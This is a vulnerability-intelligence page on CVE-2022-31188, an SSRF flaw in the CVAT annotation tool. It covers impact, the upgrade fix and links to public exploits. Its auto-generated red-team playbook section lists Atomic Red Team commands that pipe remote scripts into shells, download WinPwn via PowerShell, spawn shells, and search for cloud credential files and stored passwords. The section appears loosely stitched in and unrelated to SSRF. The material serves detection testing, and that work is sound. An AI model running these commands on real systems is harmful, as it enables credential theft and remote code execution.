CVE-2022-31188
Overview
The vulnerability is a Server-Side Request Forgery (SSRF) affecting CVAT versions prior to 2.0.0. The root cause lies in insufficient validation of URLs processed by the annotation tool, allowing crafted requests to be sent from the server to arbitrary internal or external resources. This flaw specifically impacts the URL handling component within the CVAT server code responsible for processing user-supplied URLs.
Vulnerability Description
CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade. There are no known workarounds for this issue.
Impact
An unauthenticated attacker with network access to the CVAT server can exploit this SSRF vulnerability to make the server perform arbitrary HTTP requests, potentially accessing or interacting with internal network resources not otherwise exposed. This can lead to information disclosure or further internal network reconnaissance. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms no authentication or user interaction is required, increasing the attack surface and severity of potential exploitation.
Solution
Users should upgrade CVAT to version 2.0.0 or later, where URL validation has been implemented to mitigate the SSRF vulnerability. Detailed patch information and remediation steps are available in the GitHub security advisory GHSA-7vpj-j5xv-29pr and the associated commit 6fad1764efd922d99dbcda28c4ee72d071aa5a07. No known workarounds exist, so upgrading is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the open-source interactive video and image annotation tool for computer vision is characterized as a server-side request forgery (SSRF). This type of vulnerability allows an attacker to send crafted requests from the vulnerable server to internal or external resources that the server can access. In this specific case, versions prior to 2.0.0 lack adequate validation of URLs used in certain code paths, enabling malicious actors to manipulate the server into making unauthorized requests. This could lead to exposure of sensitive information, unauthorized access to internal services, or even the execution of arbitrary commands, depending on the server's configuration and the resources it can reach.
Attack vectors for exploiting this vulnerability are varied and can be executed with relative ease by an attacker who has access to the application. For instance, an attacker could craft a request that targets internal services, such as databases or metadata services, that are not exposed to the public internet. By leveraging the server's ability to communicate with these internal services, the attacker could retrieve sensitive data, such as credentials or configuration files, or potentially exploit further vulnerabilities within those services. Additionally, the attacker could use the SSRF vulnerability to perform port scanning or service discovery within the internal network, thereby mapping out the infrastructure and identifying additional targets for further exploitation.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on the affected tool for critical operations. The high CVSS score of 9.8 indicates a critical level of risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of intellectual property, and damage to the organization's reputation. Furthermore, the potential for unauthorized access to internal systems could lead to compliance violations, especially for organizations handling sensitive data subject to regulations such as GDPR or HIPAA. The financial implications of a breach can be substantial, encompassing costs related to incident response, legal fees, and potential fines.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to version 2.0.0 or later of the affected tool, as this version includes necessary URL validation to prevent SSRF attacks. In addition to upgrading, implementing network segmentation can help limit the potential impact of such vulnerabilities by restricting the server's access to sensitive internal resources. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities in their applications and infrastructure. Monitoring and logging server requests can provide valuable insights into potential exploitation attempts, allowing for timely response and mitigation.
In conclusion, the SSRF vulnerability in the interactive video and image annotation tool poses a significant threat to organizations that utilize it. The ease of exploitation, combined with the potential for severe consequences, necessitates immediate action to upgrade the affected software and implement robust security measures. By adopting a proactive approach to vulnerability management, organizations can better protect their assets and maintain the integrity of their operations in an increasingly complex threat landscape.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the CVE-2022-31188 SSRF vulnerability in the CVAT annotation tool. This increase is underscored by the emergence of new proof-of-concept exploits circulating on public repositories, which lowers the barrier for threat actors to weaponize this vulnerability. Our telemetry indicates a sustained upward trend in detection frequency, accompanied by a slight rise in the EPSS score, signaling growing attacker interest and potential for exploitation in the wild. This development heightens the urgency for defenders to monitor relevant network traffic and logs closely, as the expanding exploitation landscape increases the likelihood of successful intrusions. Consequently, the threat level associated with CVE-2022-31188 has shifted from a theoretical risk to a more imminent operational concern, warranting heightened vigilance within environments utilizing affected CVAT versions.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cvat | Computer Vision Annotation Tool | All |
cpe:2.3:a:cvat:computer_vision_annotation_tool:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| CVAT 2.0 - Server Side Request Forgery | Emir Polat | webapps | python | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
emirpolatt/CVE-2022-31188
CVE-2022-31188 - OpenCV CVAT (Computer Vision Annotation Tool) SSRF
|
emirpolatt | 5 | 4 | 2022-09-09 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-31188 |
| github.com |
GitHub CVE
|
https://github.com/cvat-ai/cvat/security/advisories/GHSA-7vpj-j5xv-29pr |
| github.com |
GitHub CVE
|
https://github.com/cvat-ai/cvat/commit/6fad1764efd922d99dbcda28c4ee72d071aa5a07 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/169814/CVAT-2.0-Server-Side-Request-Forgery.html |